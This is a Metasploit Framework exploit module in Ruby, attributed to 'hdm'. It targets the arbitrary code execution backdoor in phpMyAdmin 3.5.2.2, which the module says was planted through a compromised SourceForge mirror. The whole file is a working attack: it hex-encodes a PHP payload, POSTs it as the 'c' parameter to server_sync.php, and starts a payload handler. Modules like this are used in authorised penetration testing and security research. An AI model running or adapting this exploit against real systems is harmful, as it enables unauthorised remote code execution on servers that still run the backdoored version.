phpMyAdmin 3.5.2.2 server_sync.php backdoor

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
'Description'    => %q{
This module exploits an arbitrary code execution backdoor 
placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
},
'Author'         => [ 'hdm' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision$',
'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
'Privileged'     => false,
'Payload'        =>
{
'DisableNops' => true,
'Compat'      =>
{
'ConnectionType' => 'find',
},
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space'       => 262144, # 256k
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Sep 25 2012',
'Platform'       => 'php',
'Arch'           => ARCH_PHP,
'Targets'        => [[ 'Automatic', { }]],
'DefaultTarget' => 0))

register_options([
OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
], self.class)
end

def exploit

uris = []

tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end

pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

res = send_request_raw( {
'global'  => true,
'uri'     => tpath + "/server_sync.php",
'method'  => 'POST',
'data'    => pdata,
'headers' => {
'Content-Type'   => 'application/x-www-form-urlencoded',
'Content-Length' => pdata.length,
}
}, 1.0)

handler
end
end

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